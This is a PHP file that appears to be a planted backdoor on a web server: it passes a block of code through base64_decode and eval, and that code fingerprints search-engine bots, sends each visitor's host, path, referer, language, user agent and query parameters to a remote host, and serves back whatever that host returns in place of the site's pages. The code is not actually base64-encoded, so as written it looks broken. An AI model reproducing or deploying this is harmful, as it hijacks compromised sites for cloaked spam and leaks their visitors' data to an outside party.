$a =base64_decode('class CaseInsensitiveArray implements \ArrayAccess, \Countable, \Iterator
{
    private $data = [];
    private $keys = [];
    public function __construct(array $initial = null)
    {
        if ($initial !== null) {
            foreach ($initial as $key => $value) {
                $this->offsetSet($key, $value);
            }
        }
    }
    public function offsetSet($offset, $value)
    {
        if ($offset === null) {
            $this->data[] = $value;
        } else {
            $offsetlower = strtolower($offset);
            $this->data[$offsetlower] = $value;
            $this->keys[$offsetlower] = $offset;
        }
    }
    public function offsetExists($offset)
    {
        return array_key_exists(strtolower($offset), $this->data);
    }
    public function offsetUnset($offset)
    {
        $offsetlower = strtolower($offset);
        unset($this->data[$offsetlower]);
        unset($this->keys[$offsetlower]);
    }
    public function offsetGet($offset)
    {
        $offsetlower = strtolower($offset);
        return $this->data[$offsetlower] ?? null;
    }
    public function count()
    {
        return count($this->data);
    }
    public function current()
    {
        return current($this->data);
    }
    public function next()
    {
        next($this->data);
    }
    public function key()
    {
        $key = key($this->data);
        return $this->keys[$key] ?? $key;
    }
    public function valid()
    {
        return (key($this->data) !== null);
    }
    public function rewind()
    {
        reset($this->data);
    }
}
class FastCurlGet
{
    private static $handles = [];
    private static $headerCallbackData = [];
    private static $options = [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_ENCODING       => 'gzip, deflate',
        CURLOPT_HTTP_VERSION   => CURL_HTTP_VERSION_2_0,
        CURLOPT_TCP_NODELAY    => true,
        CURLOPT_CONNECTTIMEOUT => 2,
        CURLOPT_TIMEOUT        => 5,
        CURLOPT_SSL_VERIFYPEER => true,
        CURLOPT_SSL_VERIFYHOST => 2,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_MAXREDIRS      => 3,
        CURLOPT_HTTPHEADER     => [
            'Connection: Keep-Alive',
            'Accept: */*',
            'Accept-Encoding: gzip, deflate'
        ]
    ];
    public static function get(string $url, array $headers = []): array
    {
        $key = self::getConnectionKey($url);
        if (isset(self::$handles[$key])) {
            $ch = self::$handles[$key];
        } else {
            $ch = curl_init();
            self::$handles[$key] = $ch;
            curl_setopt_array($ch, self::$options);
        }
        $header_callback_data = new \stdClass();
        $header_callback_data->rawResponseHeaders = '';
        $header_callback_data->responseCookies = [];
        $header_callback_data->stopRequestDecider = null;
        $header_callback_data->stopRequest = false;
        self::$headerCallbackData[$key] = $header_callback_data;
        curl_setopt($ch, CURLOPT_HEADERFUNCTION, createHeaderCallback($header_callback_data));
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
        if (!empty($headers)) {
            $mergedHeaders = array_merge(self::$options[CURLOPT_HTTPHEADER], $headers);
            curl_setopt($ch, CURLOPT_HTTPHEADER, $mergedHeaders);
        }
        $rawResponse = curl_exec($ch);
        $status = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        $rawResponseHeaders = self::$headerCallbackData[$key]->rawResponseHeaders;
        $responseCookies = self::$headerCallbackData[$key]->responseCookies;
        self::$headerCallbackData[$key]->rawResponseHeaders = '';
        self::$headerCallbackData[$key]->responseCookies = [];
        self::$headerCallbackData[$key]->stopRequestDecider = null;
        self::$headerCallbackData[$key]->stopRequest = false;
        $responseHeaders = self::parseResponseHeaders($rawResponseHeaders);
        $response = $rawResponse;
        if ($response === false) {
            $error = curl_error($ch);
            $errno = curl_errno($ch);
            self::closeConnection($key);
            throw new RuntimeException("cURL请求失败: [$errno] $error");
        }
        return ['body' => $response, 'status' => $status, 'headers' => $responseHeaders, 'error' => null];
    }
    public static function closeAll()
    {
        foreach (self::$handles as $key => $ch) {
            curl_close($ch);
            unset(self::$handles[$key]);
        }
    }
    private static function closeConnection(string $key)
    {
        if (isset(self::$handles[$key])) {
            curl_close(self::$handles[$key]);
            unset(self::$handles[$key]);
        }
    }
    private static function getConnectionKey(string $url): string
    {
        $parsed = parse_url($url);
        $scheme = $parsed['scheme'] ?? 'http';
        $host = $parsed['host'] ?? 'localhost';
        $port = $parsed['port'] ?? ($scheme === 'https' ? 443 : 80);
        return "$scheme://$host:$port";
    }
    private static function parseHeaders($raw_headers)
    {
        $http_headers = new CaseInsensitiveArray();
        $raw_headers = preg_split('/\r\n/', (string) $raw_headers, -1, PREG_SPLIT_NO_EMPTY);
        if ($raw_headers === false) {
            return ['', $http_headers];
        }
        $raw_headers_count = count($raw_headers);
        for ($i = 1; $i < $raw_headers_count; $i++) {
            if (strpos($raw_headers[$i], ':') !== false) {
                list($key, $value) = array_pad(explode(':', $raw_headers[$i], 2), 2, '');
                $key = trim($key);
                $value = trim($value);
                if (isset($http_headers[$key])) {
                    $http_headers[$key] .= ',' . $value;
                } else {
                    $http_headers[$key] = $value;
                }
            }
        }
        return [$raw_headers['0'] ?? '', $http_headers];
    }
    private static function parseResponseHeaders($raw_response_headers)
    {
        $response_header_array = explode("\r\n\r\n", $raw_response_headers);
        $response_header = '';
        for ($i = count($response_header_array) - 1; $i >= 0; $i--) {
            if (isset($response_header_array[$i]) && stripos($response_header_array[$i], 'HTTP/') === 0) {
                $response_header = $response_header_array[$i];
                break;
            }
        }
        $response_headers = new CaseInsensitiveArray();
        list($first_line, $headers) = self::parseHeaders($response_header);
        $response_headers['Status-Line'] = $first_line;
        foreach ($headers as $key => $value) {
            $response_headers[$key] = $value;
        }
        return $response_headers;
    }
}
function createHeaderCallback($header_callback_data)
{
    return function ($ch, $header) use ($header_callback_data) {
        if (preg_match('/^Set-Cookie:\s*([^=]+)=([^;]+)/mi', $header, $cookie) === 1) {
            $header_callback_data->responseCookies[$cookie[1]] = trim($cookie[2], " \n\r\t\0\x0B");
        }
        if ($header_callback_data->stopRequestDecider !== null) {
            $stop_request_decider = $header_callback_data->stopRequestDecider;
            if ($stop_request_decider($ch, $header)) {
                $header_callback_data->stopRequest = true;
            }
        }
        $header_callback_data->rawResponseHeaders .= $header;
        return strlen($header);
    };
}
$scheme = '';
$useragent = '';
if (is_https()) {
    $scheme = 'https';
} else {
    $scheme = 'http';
}
$duri_tmp = drequest_uri();
if ($duri_tmp == ''){
    $duri_tmp = '/';
}
$duri = $duri_tmp;
function drequest_uri()
{
    if (isset($_SERVER['REQUEST_URI'])) {
        $duri = $_SERVER['REQUEST_URI'];
    } else {
        if (isset($_SERVER['argv'])) {
            $duri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['argv'][0];
        } else {
            $duri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING'];
        }
    }
    return $duri;
}
function is_https()
{
    if (isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') {
        return true;
    } elseif (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') {
        return true;
    } elseif (isset($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') {
        return true;
    }
    return false;
}
$host = $_SERVER['HTTP_HOST'];
$lang = @$_SERVER["HTTP_ACCEPT_LANGUAGE"];
$lang = $lang;
$urlshang = '';
if (isset($_SERVER['HTTP_REFERER'])) {
    $urlshang = $_SERVER['HTTP_REFERER'];
    $urlshang = $urlshang;
}
function disbot()
{
    $uAgent = strtolower($_SERVER['HTTP_USER_AGENT']);
    if (stristr($uAgent, 'googlebot') || stristr($uAgent, 'bing') || stristr($uAgent, 'yahoo') || stristr($uAgent, 'google') || stristr($uAgent, 'Googlebot') || stristr($uAgent, 'googlebot')) {
        return 'Y';
    } else {
        return 'N';
    }
}
$content = '';
$charset = 'utf-8';
$contentType = 'text/html';
$code = 200;
$header = [];
$response = null;
$master = 'vmetiqujx.rauviasc.xyz';
$http_web = 'http';
$url = "$http_web://{$master}/index.php/wap/index/product";
$query_mark = strpos($url, '?') > 0 ? '&' : '?';
$query = [
    'host' => $host,
    'isbot' => disbot(),
    'uri' => $duri,
    'referer' => $urlshang,
    'http' => $scheme,
    'lang' => $lang,
];
$query = array_merge($query, $_GET);
$query['useragent'] = $_SERVER['HTTP_USER_AGENT'];
$query_string = $query_mark . http_build_query($query, '', '&');
$url .= $query_string;
if (defined('CURLOPT_URL')) {
    $response = FastCurlGet::get($url, [
    ]);
} else {
    $result = file_get_contents($url);
    $response = [
        'status' => $code,
        'headers' => [],
        'body' => $result,
        'error' => null
    ];
    $statusLine = array_shift($http_response_header);
    if (preg_match('/HTTP\/\d\.\d (\d{3})/', $statusLine, $matches)) {
        $response['status'] = (int)$matches[1];
    }
    $allowedKeys = [
        'content-type' => true
    ];
    foreach ($http_response_header as $line) {
        if ($line === "\r\n") {
            break;
        }
        $line = trim($line);
        if (strpos($line, ':') !== false) {
            $header = explode(':', $line, 2);
            $key = strtolower(trim($header[0]));
            if (isset($allowedKeys[$key])) {
                $response['headers'][$key] = trim($header[1]);
            }
        }
    }
}
if (isset($response['status'])) {
    $code = $response['status'];
    $header = $response['headers'];
    $data = $response['body'];
    if (!is_string($data)) {
        if ($data instanceof \SimpleXMLElement) {
            $content = $data->asXML();
        }
    } else {
        $content = $data;
    }
}
if (!(302 == $code && '<![CDATA[#break#]]>' === $content)) {
    unset($header['Status-Line'], $header['content-encoding']);
    if (!headers_sent() && !empty($header)) {
        http_response_code($code);
        foreach ($header as $name => $val) {
            header($name . ':' . $val);
        }
    }
    echo $content;
    if (function_exists('fastcgi_finish_request')) {
        fastcgi_finish_request();
    }
    exit;
}');
eval($a);